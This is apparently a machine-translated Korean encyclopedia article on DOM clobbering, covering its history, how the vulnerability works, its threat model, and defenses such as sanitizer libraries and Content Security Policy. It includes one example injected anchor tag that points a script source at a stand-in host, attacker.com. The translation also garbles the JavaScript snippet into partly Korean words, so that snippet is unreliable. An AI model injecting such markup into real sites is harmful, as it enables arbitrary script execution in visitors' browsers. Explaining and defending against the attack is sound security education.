DOM 클러버링

DOM clobbering

인터넷 보안에서 DOM(Document Object Model) 클로버링자바스크립트 코드 실행에 영향을 미치는 데 사용될 수 있는 양성 비스크립트 HTML 코드를 삽입할 수 있는 공격자를 중심으로 하는 일종의 주입 공격입니다. 이로 인해 숙련된 공격자는 웹 사이트에서 임의 코드 실행으로 확장되는 기능을 비롯하여 다양한 원하지 않는 동작을 수행할 수 있습니다.

이 취약성은 10년 넘게 알려져 왔지만, 2021년 현재 웹 전체에서 상당한 양의 기본 기능 사용으로 인해 이를 완전히 완화하려는 최근의 노력은 성공하지 못했습니다. 그러나 DOM 클러버링의 영향을 제한하고 일부 DOM 클러버링 사례가 발생하지 않도록 하는 몇 가지 방어가 확인되었습니다.

역사

DOM 클로버링의 존재는 적어도 2010년 캘리포니아 대학, 버클리 카네기 멜론 대학의 연구원들의 논문이 iframe이 호출되는 공격을 시연한 이후 알려졌습니다. self 동일한 origin 정책을 위반하여 페이지를 다른 페이지로 이동하는 데 사용될 수 있습니다. 수년 동안 보안 연구원들은 처음에 입증된 것보다 훨씬 더 큰 영향을 줄 수 있는 더 정교한 기술을 발견했습니다.[1][3]

공격 자체의 존재는 이미 알려져 있었지만, "DOM clobbering"이라는 용어 자체는 보안 연구원 가레스 하예스(Gareth Heyes)의 블로그 게시물에서 이 취약성이 어떻게 임의 코드 실행을 얻는 데 사용될 수 있는지 보여주면서 대중화된 2013년까지 나타나지 않았습니다.[1] 2015년, Heiderich et al.교차 사이트 스크립팅 및 DOM 클러버링과 같은 마크업 인젝션 공격을 소독하는 데 효과적인 JSAgents(나중에 DOM 퓨리파이)라는 라이브러리의 설계를 제안했습니다.[4][5]

특히 2020년 GmailGoogle Analytics에서 DOM 클러버링 취약성이 발견된 후 최근 몇 년 동안 이러한 공격을 완화하는 데 관심이 다시 증가하고 있습니다.[6] 2020년과 2021년에 걸쳐 다양한 웹 표준 그룹에서 브라우저 수준에서 DOM 요소에 대한 명명된 액세스를 허용하지 않음으로써 DOM 클러버링에 대한 방어를 자세히 설명하는 제안이 이루어졌습니다.[7] 그러나 Chrome 원격 측정 데이터에 따르면 웹의 10.5% 이상이 현재 동작에 따라 작동하는 기능에 의존하기 때문에 이러한 제안은 기각되었습니다.[8]

취약점

DOM 클러버링 취약성은 DOM(Document Object Model)의 자바스크립트 실행 컨텍스트와 HTML 요소 간의 명명 충돌로 인해 발생합니다. 어떤 경우. undefined 자바스크립트 변수는 HTML 요소와 같은 맥락에서 선언됩니다. name 아니면 id 매개변수, 브라우저는 HTML 요소를 다음에 할당합니다. undefined 변변한[9] 이 동작을 사용하여 코드 실행에 영향을 미치는 특정 변수와 일치하는 HTML 요소를 등록하여 자바스크립트 실행에 선택적으로 영향을 미칠 수 있습니다. 어떤 경우에는 DOM 클러버링을 사용하여 합법적인 브라우저를 무색하게 할 수도 있습니다.HTML DOM 요소를 사용하여 속성 트리를 음영 처리하여 API. 이로 인해 공격자는 특정 마크업을 주입하여 자바스크립트 코드의 다양한 부분의 실행을 조작할 수 있습니다.[1][10]

숙련된 공격자는 HTML 요소의 신중한 조작을 통해 임의의 열린 방향 전환, 사이트 간 요청 위조 또는 임의의 코드 실행을 수행할 수 있습니다. 2023년에 수행된 연구의 일환으로, Khodayari et al. 는 전 세계 상위 5K 웹사이트 중 (트란코 리스트에 의해 결정된 바에 따르면) 위키북스, 깃허브, 팬덤, 트렐로와 같은 사이트를 포함하여 9.8%의 사이트가 이 공격에 취약한 것으로 나타났습니다.[1]

자바스크립트 실행에 영향을 미치기 위해 DOM 클러버링 공격이 어떻게 사용될 수 있는지를 보여주기 위해서는 다음 자바스크립트 코드 조각을 예로 들 수 있습니다.

상투적인 url = 창문을.globalUrlConfig    { href: '/code.js' }; 상투적인 스크립트 엘렘 = 문서.createElement('대본'); 스크립트 엘렘.src = url.href; 문서..추가 차일드(스크립트 엘렘); 

이 간단한 예에서는 스크립트 요소가 생성되고 이후에 페이지에 렌더링됩니다. 그러나 이 간단한 예는 DOM clobbering에 취약합니다. 공격자는 사이트 간 스크립팅 또는 웹 사이트의 다른 기능을 통해 마크업 주입을 허용하는 다음 HTML을 주입할 수 있습니다.

  <ahref="https://attacker.com/malicious_script.js "id="globalUrlConfig">.../a> 

이 주입을 통해 공격자는 다음을 덮어쓸 수 있습니다. globalUrlConfig 앵커 요소에 대한 참조가 있는 변수를 사용하여 변수를 덮어씁니다. url 가변적이고 그 후에 scriptElem.src 모수, (이로 인해) url.href 지금은 다음을 말합니다. href 앵커 요소의 파라미터)가 임의의 코드 실행으로 이어집니다.[1]

위협모델

DOM 클로버링 공격에 대한 위협 모델은 Akhawe et al.이 2010년에 제안한 웹 공격자 모델과 유사합니다. 이 모델은 공격자가 전자 메일을 보내거나 다른 방법으로 피해자를 자신의 통제하에 있는 특정 페이지로 피싱할 수 있다고 가정합니다. 이 모델은 또한 공격자가 피해자 웹 사이트에 제한된 마크업 세트를 주입할 수 있다고 가정합니다. 이는 사이트스크립팅과 같은 다른 공격을 이용하거나 웹 페이지의 풍부한 텍스트 렌더링 기능(예: Gmail의 WYSIWYG 이메일 리더 및 편집기)을 남용하여 수행할 수 있습니다.[5][11] 이는 공격자가 웹 사이트에 잠재적으로 양성 HTML을 주입할 수 있는지 여부에 따라 DOM 클러버링이 결정되기 때문에 매우 중요합니다.[1]

디펜스

DOM 클러버링에 대한 궁극적인 방어는 명명된 DOM 요소에 대한 액세스를 끄는 것이지만, 2021년 크롬 원격 측정 데이터에 따르면 이러한 기능을 상당히 적극적으로 사용하기 때문에 현재 실현 가능하지 않습니다.[7][8] 그러나 다양한 보안 코딩 방식을 사용하여 자바스크립트 코드 실행에 대한 DOM 클러버링의 영향을 완화할 수 있습니다.[1]

HTML 검사 라이브러리

DOM 클로버링 공격을 제한하는 가장 일반적인 기술 중 하나는 HTML 소독 라이브러리를 사용하는 것입니다.[1] 2017년, Heiderich et al.은 DOM Purify 라이브러리에 추가된 DOM 클러버링에 대한 완화를 제안했습니다. 이를 통해 기존 함수의 해시를 활용하여 HTML 요소를 덮어쓰는지 여부를 확인할 수 있었습니다. 또한 DOM 퓨리파이는 다음을 파싱합니다. id 그리고. name 기존의 전역 기능과 충돌할 수 있는지 식별하기 위해 주입된 요소의 속성.[5] 그러나 최근 DOM Purify 및 HTML Janitor와 같은 유사한 라이브러리에서 DOM 클러버링과 관련된 취약성이 발견되었으며, 이는 이러한 라이브러리가 DOM 클러버링의 특정 사례에 대해서만 보호하고 관련 위험에 대해서는 거의 알지 못한다는 것을 나타냅니다.[1][12][13]

내용보안정책

DOM 클로버링의 영향을 완화하는 또 다른 인기 있는 방법은 제한적인 CSP(Content Security Policy)를 사용하는 것입니다.[14] 이를 통해 DOM 클러버링이 이미 존재하는 코드의 실행을 변경하는 것을 막을 수는 없지만,[9] 제한적인 콘텐츠 보안 정책을 사용하면 공격자가 웹 사이트에서 스크립트를 실행할 수 있는 방법을 제한함으로써 DOM 클러버링 문제를 임의 코드 실행 공격으로 끌어올리는 것이 훨씬 더 어려워질 수 있습니다. 다음을 활용하여 script-src CSP 디렉티브, 웹 개발자는 스크립트를 신뢰할 수 있는 미리 정해진 도메인 세트에 로드할 수 있는 위치를 제한할 수 있습니다.[14] 이는 신뢰할 수 없는 공격자가 제어하는 코드를 크게 로드할 수 있는 공격자의 능력을 손상시킵니다. src 스크립트 태그의 특성입니다.[15]

참고 항목

참고문헌

  1. ^ a b c d e f g h i j Khodayari, Soheil; Pellegrino, Giancarlo (2023). "It's (DOM) Clobbering Time: Attack Techniques, Prevalence, and Defenses". 2023 IEEE Symposium on Security and Privacy (SP). pp. 1041–1058. doi:10.1109/SP46215.2023.10179403. ISBN 978-1-6654-9336-9. S2CID 260002685.
  2. ^ Bates, Daniel; Barth, Adam; Jackson, Collin (2010-04-26). "Regular expressions considered harmful in client-side XSS filters". Proceedings of the 19th international conference on World wide web. WWW '10. New York, NY, USA: Association for Computing Machinery. pp. 91–100. doi:10.1145/1772690.1772701. ISBN 978-1-60558-799-8. S2CID 730078.
  3. ^ "DOM clobbering Web Security Academy". portswigger.net. Retrieved 2023-10-30.
  4. ^ Heiderich, Mario; Niemietz, Marcus; Schwenk, Jörg (2015). "Waiting for CSP – Securing Legacy Web Applications with JSAgents". In Pernul, Günther; Y A Ryan, Peter; Weippl, Edgar (eds.). Computer Security – ESORICS 2015. Lecture Notes in Computer Science. Vol. 9326. Cham: Springer International Publishing. pp. 23–42. doi:10.1007/978-3-319-24174-6_2. ISBN 978-3-319-24174-6.
  5. ^ a b c Heiderich, Mario; Späth, Christopher; Schwenk, Jörg (2017). "DOMPurify: Client-Side Protection Against XSS and Markup Injection". In Foley, Simon N.; Gollmann, Dieter; Snekkenes, Einar (eds.). Computer Security – ESORICS 2017. Lecture Notes in Computer Science. Vol. 10493. Cham: Springer International Publishing. pp. 116–134. doi:10.1007/978-3-319-66399-9_7. ISBN 978-3-319-66399-9.
  6. ^ "DOM Clobbering strikes back". PortSwigger Research. 2020-02-06. Retrieved 2023-11-09.
  7. ^ a b "Disable DOM clobbering. · Issue #349 · w3c/webappsec-permissions-policy". GitHub. Retrieved 2023-11-09.
  8. ^ a b "Chrome Platform Status". chromestatus.com. Retrieved 2023-11-09.
  9. ^ a b Lekies, Sebastian; Kotowicz, Krzysztof; Groß, Samuel; Vela Nava, Eduardo A.; Johns, Martin (2017-10-30). "Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets". Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications Security. CCS '17. New York, NY, USA: Association for Computing Machinery. pp. 1709–1723. doi:10.1145/3133956.3134091. ISBN 978-1-4503-4946-8. S2CID 8779516.
  10. ^ "Mitigating DOM clobbering attacks in JavaScript". Snyk. 2023-08-07. Retrieved 2023-10-30.
  11. ^ Akhawe, Devdatta; Barth, Adam; Lam, Peifung E.; Mitchell, John; Song, Dawn (2010). Towards a Formal Foundation of Web Security. pp. 290–304. doi:10.1109/csf.2010.27. ISBN 978-1-4244-7510-0. S2CID 14522899. Retrieved 2023-11-10.
  12. ^ "Publications/pentest-report_dompurify.pdf at master · cure53/Publications" (PDF). GitHub. Retrieved 2023-11-10.
  13. ^ "Node.js third-party modules disclosed on HackerOne: [html-janitor]..." HackerOne. Retrieved 2023-11-10.
  14. ^ a b Roth, Sebastian; Backes, Michael; Stock, Ben (2020-10-05). "Assessing the Impact of Script Gadgets on CSP at Scale". Proceedings of the 15th ACM Asia Conference on Computer and Communications Security. ASIA CCS '20. New York, NY, USA: Association for Computing Machinery. pp. 420–431. doi:10.1145/3320269.3372201. ISBN 978-1-4503-6750-9. S2CID 222135428.
  15. ^ "DOM Clobbering Prevention – OWASP Cheat Sheet Series". cheatsheetseries.owasp.org. Retrieved 2023-11-10.

더보기